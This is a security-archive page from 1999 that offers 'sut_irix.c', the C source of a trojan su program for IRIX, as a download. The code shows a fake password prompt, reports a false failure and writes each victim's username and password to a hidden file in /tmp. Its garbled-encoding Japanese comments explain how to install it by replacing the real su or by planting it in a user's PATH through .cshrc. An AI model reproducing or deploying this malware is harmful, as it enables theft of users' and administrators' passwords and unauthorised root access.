global security disclosure

sut_irix.c

sut_irix.c
Posted Nov 5, 1999
Authored by shadowpenguin

SU trojan for IRIX. This trojan logs the passwords. If you install the su trojan correctry, local users or admin fails the first "su", and the password which is inputed to su trojan has been logged to the specified file.

tags | local, trojan
systems | unix, irix
MD5 | eed0677f1799609c5205e1dd1d4a0a5d

sut_irix.c

Change Mirror Download
/*------------------------------------------------------------

SU¥È¥í¥¤ - sut Ver 1.00

Programmed by £Õ£Î£Ù£Õ£Î

------------------------------------------------------------
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <pwd.h>

/* °Ê²¼¤Î¥Ñ¥é¥á¡¼¥¿¤ÏOS¤´¤È¤ËÊѹ¹¤¹¤ëɬÍפ¬¤¢¤ê¤Þ¤¹
[ÀßÄê¼ê½ç]
%su
Password: <---- ¤³¤Îʸ»ú¤òMSG_INP¤ËÀßÄꤹ¤ë
su: Sorry <---- Password¤ò¤ï¤¶¤È´Ö°ã¤¨¤ë¡£¤³¤Îʸ»ú¤òMSG_ERR
¤ËÀßÄꤹ¤ë¡£¤³¤Îɽ¼¨¤¬½Ð¤ë¤Þ¤Ç¤Î»þ´Ö(ÉÃ)¤ò
MSG_WAIT¤ËÀßÄꤹ¤ë
%su hohoho <---- /etc/passwd¤Ë¤Ê¤¤¥¢¥«¥¦¥ó¥È̾¤Ësu¤¹¤ë
su Unknown id: hohoho <---- User̾¤¬¤Ê¤¤¤È¤¤¤¦¥¨¥é¡¼¤¬É½¼¨¤µ¤ì¤ë
¤³¤Îʸ»ú¤òMSG_NOID¤ËÀßÄꤹ¤ë
*/
#define MSG_INP "¥Ñ¥¹¥ï¡¼¥É: "
#define MSG_ERR "»Äǰ¤Ç¤¹"
#define MSG_NOID "¥æ¡¼¥¶£É£Ä¤ÏÄêµÁ¤µ¤ì¤Æ¤¤¤Þ¤»¤ó: "
#define MSG_WAIT 0

/* °Ê²¼¤Î¥Ñ¥é¥á¡¼¥¿¤ÏOS¤´¤È¡¢¤¢¤ë¤¤¤ÏÀßÄê¤Ë¤è¤Ã¤Æ
Êѹ¹¤¹¤ëɬÍפ¬¤¢¤ê¤Þ¤¹

[ÀßÄê¼ê½ç]
case 1. root¤ò¥Ï¥Ã¥¯¤Ç¤­¤¿¾ì¹ç

#which su
/usr/bin/su <--- ËÜʪ¤Îsu¤¬É½¼¨¤µ¤ì¤ë
#mv /usr/bin/su /usr/local/sbin/mule <--- ŬÅö¤Ê̾Á°¤Ç¥³¥Ô¡¼
#cc ./sut.c <--- su¥È¥í¥¤¤ò¥³¥ó¥Ñ¥¤¥ë
#mv ./a.out /usr/bin/su <--- ËÜʪ¤Îsu¤ÈÆþ¤ìÂØ¤¨
¤³¤Î¤è¤¦¤ËÀßÄꤷ¤¿¾ì¹ç¤Ï¡¢
REAL_SU¤Ï¡¢
#define REAL_SU "/usr/local/sbin/mule"¤È¤·¤Æ¤¯¤À¤µ¤¤¡£

case 2. °ìÈÌuser¤Î¥¢¥«¥¦¥ó¥È¤Ç»Å¹þ¤à¾ì¹ç

%which su
/usr/bin/su <--- ËÜʪ¤Îsu¤¬É½¼¨¤µ¤ì¤ë¡£¤³¤Îpath¤òREAL_SU¤Ë»ØÄꤹ¤ë
%cc sut.c -o su <--- su¥È¥í¥¤¤ò¥³¥ó¥Ñ¥¤¥ë
%mv su /tmp/temp/ <--- ¥Ð¥ì¤Ë¤¯¤¤½ê¤Ë¥³¥Ô¡¼
%cd ~ <--- »Å¹þ¤àuser¤Îhome¥Ç¥£¥ì¥¯¥È¥ê
%vi .cshrc
.chsrc¤Ïshell¤Î´Ä¶­ÀßÄê¤Ç¤¹¡£path¤ò»ØÄꤷ¤ÆÄ̾ï¤Îsu¤è¤ê¥È¥í¥¤¤Îsu
¤òÍ¥À褵¤»¤Þ¤¹¡£.cshrc¥Õ¥¡¥¤¥ë¤Ç¡¢
set path=¤¬¤¢¤ì¤Ð¡¢
set path=(. /tmp/temp /usr/bin ¡¦¡¦¡¦¸å¾Êά
¤Î¤è¤¦¤Ë¤·¤Æ¤ª¤­¤Þ¤¹¡£
set path¤¬Ìµ¤¤¾ì¹ç¤Ï¡¢
set path=(. /tmp/temp)
¤È¤¤¤¦¹Ô¤òÆþ¤ì¤Þ¤·¤ç¤¦¡£

*/
#define REAL_SU "/usr/bin/su"


/* ¥í¥°¥Õ¥¡¥¤¥ë¡£¸«¤Ä¤«¤ê¤Ë¤¯¤¤Ì¾Á°¤ËÊѹ¹¤·¤Þ¤·¤ç¤¦
*/
#define LOGFILE "/tmp/.mailer_socket"

/* ÆâÉôÄê¿ô
*/
#define MAX_USERNAME 200
#define MAX_PASSWD 200

main(int argc,char *argv[])
{
char *x;
struct passwd *pwd;
char user[MAX_USERNAME];
char passwd[MAX_PASSWD];
char temp1[MAX_USERNAME],temp2[MAX_PASSWD];
FILE *fp;
int flag=0;
int uid=getuid();

if (argc==1) strcpy(user,"root");
else strcpy(user,argv[1]);

/* su-password¥í¥°¤ò»²¾È¤·¤Æ¡¢°ÊÁ°¤ËGet¤·¤Æ¤¤¤ì¤Ð
Ä̾ï¤Îsu¤ò¸Æ¤Ó½Ð¤¹
*/
if ((fp=fopen(LOGFILE,"r"))!=NULL){
for (;;){
if (feof(fp)) break;
fscanf(fp,"%s",temp1);
fscanf(fp,"%s",temp2);
if (strcmp(user,temp1)==0){
flag=1;
break;
}
}
fclose(fp);
}
pwd=getpwuid(uid);
if (flag==1 || uid==0 || strcmp(pwd->pw_name,user)==0){
sprintf(temp1,"%s %s",REAL_SU,user);
system(temp1);
exit(1);
}

/* User̾¤¬ÉÔÀµ¤Ê¾ì¹ç¤Î½èÍý
*/
if (argc>1){
if ((pwd=getpwnam(user))==NULL){
sleep(MSG_WAIT);
printf("%s%s\n",MSG_NOID,user);
exit(1);
}
}

/* Password¤òÆþÎϤµ¤»¤ë
*/
x=getpass(MSG_INP);
sleep(MSG_WAIT);

/* ¥¨¥é¡¼¤òɽ¼¨¤·¤Æ¡¢¥í¥°¤ë
*/
printf("%s\n",MSG_ERR);
if ((fp=fopen(LOGFILE,"a"))!=NULL){
fprintf(fp,"%s\t%s\n",user,x);
fclose(fp);
}
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close